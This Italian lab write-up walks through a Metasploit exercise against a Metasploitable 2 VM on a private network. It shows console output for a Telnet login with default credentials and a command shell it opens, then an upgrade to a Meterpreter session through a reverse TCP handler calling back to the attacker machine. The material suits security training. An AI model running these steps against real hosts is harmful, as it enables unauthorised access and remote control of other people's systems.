

## EXTRA S7L2

- **Autenticazione e Creazione della Sessione:** L'obiettivo è ottenere l'accesso a Metasploitable 2 sfruttando le sue credenziali predefinite. Utilizza il modulo `auxiliary/scanner/telnet/telnet_login` e imposta i seguenti parametri:
  - Il target (RHOSTS).
  - Le credenziali note (USERNAME e PASSWORD).
  - L'opzione `STOP_ON_SUCCESS` su `true`.

Una volta eseguito con successo, il modulo stabilirà una sessione di comando.

- **Gestione delle Sessioni:** Verifica le sessioni attive tramite il comando `sessions -l`. Per interagire con la sessione appena creata, digita `sessions -i <ID_sessione>`.
- **Upgrade della Sessione a Meterpreter:** Metti in background la sessione attiva usando la combinazione di tasti `Ctrl+Z` e confermando con `y` alla richiesta. Successivamente, utilizza il modulo `post/multi/manage/shell_to_meterpreter` per eseguire l'upgrade della sessione a Meterpreter. Controlla le opzioni con il comando `show options` ed effettua tutte le configurazioni necessarie per completare l'operazione.

### Fase 1 – Scelta del modulo Telnet Login Scanner

Mi trovo all'interno del Metasploit Framework (msf6) e ho appena cercato un modulo specifico per effettuare un brute-force su servizi Telnet. Ho usato il comando:

- `search auxiliary/scanner/telnet/telnet_login`

Il modulo che mi interessa è `auxiliary/scanner/telnet/telnet_login`. È classificato come "normal" e serve per verificare credenziali di accesso su servizi Telnet. Non effettua un check automatico, ma è perfetto per testare login con una lista di username e password.

Subito dopo, l'ho selezionato con:

- `use 1`

Questo è il primo step del mio processo di scansione. Ora sono pronto per configurare i parametri del modulo e iniziare il test.

```
msf6 > search auxiliary/scanner/telnet/telnet_login

Matching Modules

#  Name
-  -
0  auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass  2021-09-06  normal  Yes  Netgear PNPX_GetShareFolderList Authentication Bypass
1  auxiliary/scanner/telnet/telnet_login  .  normal  No  Telnet Login Check Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_login

msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_login) > |
```

## Fase 2 – Configurazione ed esecuzione del modulo Telnet Login Scanner

Dopo aver selezionato il modulo `auxiliary/scanner/telnet/telnet_login`, ho visualizzato tutte le opzioni configurabili. Questo modulo è pensato per testare credenziali su servizi Telnet e segnalare eventuali accessi riusciti.

Ecco cosa ho notato:

- **RHOSTS** è vuoto: qui dovrò inserire l'indirizzo IP o l'intervallo di IP da testare.
- **RPORT** è già impostato su 23, la porta standard di Telnet.
- **USERNAME** è impostato su root, mentre **PASSWORD** è telnet: probabilmente un test iniziale con credenziali comuni.
- Posso usare file esterni per username e password con **USER\_FILE**, **PASS\_FILE** o **USERPASS\_FILE**.
- La velocità di brute-force è impostata su 5, il massimo, per andare più rapido.
- **STOP\_ON\_SUCCESS** è false, quindi continuerà a testare anche dopo un login riuscito (utile se voglio trovare più credenziali valide).

```
msf6 auxiliary(scanner/telnet/telnet_login) > info

Name: Telnet Login Check Scanner
Module: auxiliary/scanner/telnet/telnet_login
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
egypt <egypt@metasploit.com>

Check supported:
No

Basic options:
Name          Current Setting  Required  Description
-----
ANONYMOUS_LOGIN  false           yes       Attempt to login with a blank username and password
BLANK_PASSWORDS  false           no        Try blank passwords for all users
BRUTEFORCE_SPEED  5               yes       How fast to bruteforce, from 0 to 5
CreateSession    true            no        Create a new session for every successful login
DB_ALL_CREDS     false           no        Try each user/password couple stored in the current database
DB_ALL_PASS      false           no        Add all passwords in the current database to the list
DB_ALL_USERS     false           no        Add all users in the current database to the list
DB_SKIP_EXISTING none            no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD         no              no        A specific password to authenticate with
PASS_FILE        no              no        File containing passwords, one per line
RHOSTS           no              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT            23              yes       The target port (TCP)
STOP_ON_SUCCESS  false           yes       Stop guessing when a credential works for a host
THREADS          1               yes       The number of concurrent threads (max one per host)
USERNAME         no              no        A specific username to authenticate as
USERPASS_FILE    no              no        File containing users and passwords separated by space, one pair per line
USER_AS_PASS     false           no        Try the username as the password for all users
USER_FILE        no              no        File containing usernames, one per line
VERBOSE          true            yes       Whether to print output for all attempts

Description:
This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

References:
https://nvd.nist.gov/vuln/detail/CVE-1999-0502

View the full module info with the info -d command.
```

Dopo aver analizzato tutte le opzioni del modulo, ho configurato i parametri per iniziare il test. Ho scelto di puntare il modulo verso l'host 192.168.50.102, impostando sia lo **username** che la **password** su nsfadmin. Si tratta di credenziali che sospettavo potessero essere valide, magari predefinite o lasciate attive per errore.

Ho anche attivato l'opzione STOP\_ON\_SUCCESS su true, così il modulo si ferma appena trova una combinazione funzionante, evitando tentativi inutili.

Una volta pronto, ho lanciato il comando:

- run

Non solo ha trovato le credenziali valide, ma ha anche aperto una **sessione shell** sulla macchina target, con ID 1. Questo significa che ho accesso diretto al sistema remoto tramite Telnet. Un passo fondamentale per l'analisi post-exploit o per eventuali escalation di privilegi.

```
msf6 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.102
RHOSTS => 192.168.50.102
msf6 auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.50.102:23 - No active DB -- Credential data will not be saved!
[+] 192.168.50.102:23 - 192.168.50.102:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.102:23 - Attempting to start session 192.168.50.102:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.100:38403 -> 192.168.50.102:23) at 2025-08-26 09:00:18 -0400
[*] 192.168.50.102:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_login) > █
```

## Fase 2.5 – Interazione con la sessione Telnet

Dopo aver ottenuto l'accesso con credenziali valide, ho verificato le sessioni attive con il comando:

- sessions -l

Il risultato mostra chiaramente una sessione aperta:

1. shell TELNET msfadmin:msfadmin 192.168.50.102:23 -> 192.168.50.102:23

Ho provato a interagire con la sessione usando il comando:

- sessions -i 1

Questo significa che ora ho una **connessione interattiva** con il sistema remoto tramite Telnet. Posso eseguire comandi direttamente sulla macchina target, come se fossi fisicamente davanti a essa. È un momento chiave: da qui posso iniziare a raccogliere informazioni, analizzare configurazioni, e valutare eventuali vulnerabilità interne.

```
msf6 auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
=====

```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1		shell	TELNET msfadmin:msfadmin (192.168.50.102:23)	192.168.50.100:38403 → 192.168.50.102:23 (192.168.50.102)

```
msf6 auxiliary(scanner/telnet/telnet_login) > session -i 1
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...

msfadmin@metasploitable:~$
```

### Fase 3 – Accesso avanzato con Meterpreter

Dopo aver ottenuto una shell Telnet nella fase precedente, ho deciso di fare un salto di qualità convertendo quella sessione in una Meterpreter. Per farlo, ho utilizzato il modulo shell\_to\_meterpreter, impostando la mia macchina come host locale e scegliendo una porta di ascolto. Ho indicato la sessione Telnet attiva e avviato il modulo con il comando run.

```
msf6 auxiliary(scanner/telnet/telnet_login) > back
msf6 > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):


```

<u>Name</u>	<u>Current Setting</u>	<u>Required</u>	<u>Description</u>
HANDLER	true	yes	Start an exploit/multi/handler to receive the connection
LHOST		no	IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT	4433	yes	Port for payload to connect to.
SESSION		yes	The session to run this module on

```
View the full module info with the info, or info -d command.

msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.100:4433
[*] Sending stage (1017704 bytes) to 192.168.50.102
[*] Meterpreter session 2 opened (192.168.50.100:4433 → 192.168.50.102:51148) at 2025-08-26 09:03:19 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
```

il processo è andato a buon fine: Metasploit ha avviato il listener, ha inviato il payload e ha aperto una nuova sessione Meterpreter. A quel punto ho usato il comando sessions -i 2 per iniziare l'interazione, e mi sono ritrovato con il prompt meterpreter >, pronto a esplorare il sistema in modo molto più approfondito.

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2

Active sessions
=====

```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1	shell		TELNET msfadmin:msfadmin (192.168.50.102:23)	192.168.50.100:38403 → 192.168.50.102:23 (192.168.50.102)
2	meterpreter	x86/linux	msfadmin @ metasploitable.localdomain	192.168.50.100:4433 → 192.168.50.102:51148 (192.168.50.102)

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > █
```

Con Meterpreter ho accesso a strumenti avanzati per raccogliere informazioni, analizzare i processi, navigare nel file system e valutare il livello di compromissione. È qui che inizia la vera fase di post-exploitation.

## Conclusioni

L'esercizio ha mostrato chiaramente come un servizio Telnet mal configurato possa rappresentare un punto d'ingresso per un attaccante. Dopo aver individuato le credenziali valide, ho ottenuto una shell remota e successivamente l'ho convertita in una sessione Meterpreter, che mi ha permesso di interagire con il sistema in modo più avanzato.

Questa fase ha evidenziato quanto sia importante proteggere i servizi esposti e gestire correttamente le credenziali. Un accesso come quello ottenuto può facilmente portare a una compromissione completa del sistema, con possibilità di escalation e movimento laterale nella rete.

L'attività ha confermato l'efficacia degli strumenti di penetration testing e l'importanza di una corretta configurazione dei sistemi per prevenire attacchi simili.